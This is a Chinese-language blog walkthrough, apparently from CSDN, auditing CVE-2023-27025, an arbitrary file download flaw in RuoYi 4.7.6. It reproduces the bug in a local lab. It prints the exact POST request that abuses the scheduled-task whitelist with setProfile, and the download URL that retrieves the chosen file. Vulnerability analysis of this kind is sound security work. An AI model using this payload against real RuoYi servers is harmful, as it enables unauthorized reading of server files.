• 若依4.7.6 版本任意文件下载(CVE-2023-27025)


    CVE-2023-27025

    框架说明

    若依/ruoyi 是使用java主流框架的一款优秀的国内开源cms,
    基于SpringBoot、Shiro、Mybatis的权限后台管理系统。

    环境搭建

    查询最近的漏洞信息

    https://cve.mitre.org/
    搜索ruoyi
    在这里插入图片描述

    代码审计感兴趣的漏洞:CVE-2023-27025

    An arbitrary file download vulnerability in the background management module of RuoYi v4.7.6 and below allows attackers to download arbitrary files in the server.

    源码下载地址

    https://gitee.com/y_project/RuoYi/releases

    在这里插入图片描述

    环境搭建


    配置数据库

    使用phpstudy_pro 开启和配置一下数据库

    在这里插入图片描述

    配置一下数据库地址
    在这里插入图片描述

    导入测试数据库

    nvaicat新建一个数据库名为ry的数据库,并运行下面两个sql脚本导入测试数据。

    在这里插入图片描述

    在这里插入图片描述


    启动服务

    idea绿色的运行按钮点击一下
    在这里插入图片描述
    可以访问到,环境搭建成功。

    在这里插入图片描述

    代码审计

    参考文章:

    https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0
    https://gitee.com/y_project/RuoYi/issues/I697Q5

    审计

    通过补丁修复的位置可以快速定位到问题代码
    在这里插入图片描述

    执行一下任务接口

    /monitor/job/run
    跟踪一下代码流程
    在这里插入图片描述
    在这里插入图片描述

    全局搜索
    shift键快速按两次
    在这里插入图片描述
    下好断点,停止服务,开启debug模式,跟进的服务层。
    在这里插入图片描述

    这里好像不是漏洞的关键点

    添加任务绕过白名单(自定义下载文件路径)

    POST /monitor/job/add HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 174
    Origin: http://127.0.0.1
    Connection: close
    Referer: http://127.0.0.1/monitor/job
    Cookie: JSESSIONID=b32de574-334d-4831-85bb-17adecd6484e
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://1.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    在这里插入图片描述

    添加任务
    下断点跟进,发现有很多过滤
    src/main/java/com/ruoyi/quartz/controller/SysJobController.java
    在这里插入图片描述

    跟进whiteList(ctrl+鼠标左键点击一下),跟进白名单,发现漏洞修复的关键代码
    在这里插入图片描述
    这里成获取到对象,将转换为bean的对象再进行白名单检测
    src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java
    在这里插入图片描述
    在这里插入图片描述

    下一步
    在这里插入图片描述
    一直下一步
    通过else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
    的判断
    在这里插入图片描述
    直接放行,添加成功。
    在这里插入图片描述

    下载功能(触发下载刚刚定义的下载文件)

    http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
    下载无内容
    在这里插入图片描述

    执行一次定时任务后,再次访问下载地址
    http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
    在这里插入图片描述

    为什么通过这个接口就可以下载

    根据payload设置反向查找关键代码,payload搜索setProfile方法
    在这里插入图片描述
    src/main/java/com/ruoyi/common/config/RuoYiConfig.java
    在这里插入图片描述

    payload修改的是profile 的地址
    application.yml
    在这里插入图片描述

    执行一下payload

    计划任务就是动态修改application.yaml
    在这里插入图片描述

    这里跟进一下函数,看是如何修改profile参数的
    执行计划任务一次在这里插入图片描述

    然后通过下载接口去下载任意文件,任意文件下载中的下载接口
    http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
    在这里插入图片描述
    在这里插入图片描述
    下载定义的文件。
    在这里插入图片描述

    为什么要下载 info.xml:.zip 呢?

    跟进到请求地址 /common/download/resource
    这里下载有过滤
    在这里插入图片描述
    跟进一下checkAllowDownload这个函数
    ctrl+鼠标左键 点击要调整的函数(checkAllowDownload)就可以调整进来


    滤了.. 上一级目录

    在这里插入图片描述

    跟进允许的文件规则
    在这里插入图片描述

    允许zip格式的下载,白名单
    在这里插入图片描述

    回到原来下载文件中的
    src/main/java/com/ruoyi/web/controller/common/CommonController.java
    在这里插入图片描述
    通过getProfile() 获取到之前计划任务定义好的文件路径
    在这里插入图片描述
    下载成功
    在这里插入图片描述

    这里可以是随便的文件名,只要是白名单就可以。传入的需要下载的文件路径是用过计划任务传入的参数。
    在这里插入图片描述

  • 相关阅读:
    Opencv 图像金字塔----高斯和拉普拉斯
    Flappy bird项目
    C++对象模型(6)-- 数据语义学:继承的对象布局(含虚函数)
    Hexagon_V65_Programmers_Reference_Manual(12)
    C++函数自动生成规则
    Redis--1.CentOS8安装redis服务器
    动态数据源自定义SqlSessionFactoryBean时mybatis plus配置失效
    算法刷题打卡第27天:省份数量---深度优先搜索
    ndk开发之native层访问java层
    Python模块和包:sys模块、os模块和变量函数的使用
  • 原文地址:https://blog.csdn.net/qq_41690468/article/details/133713912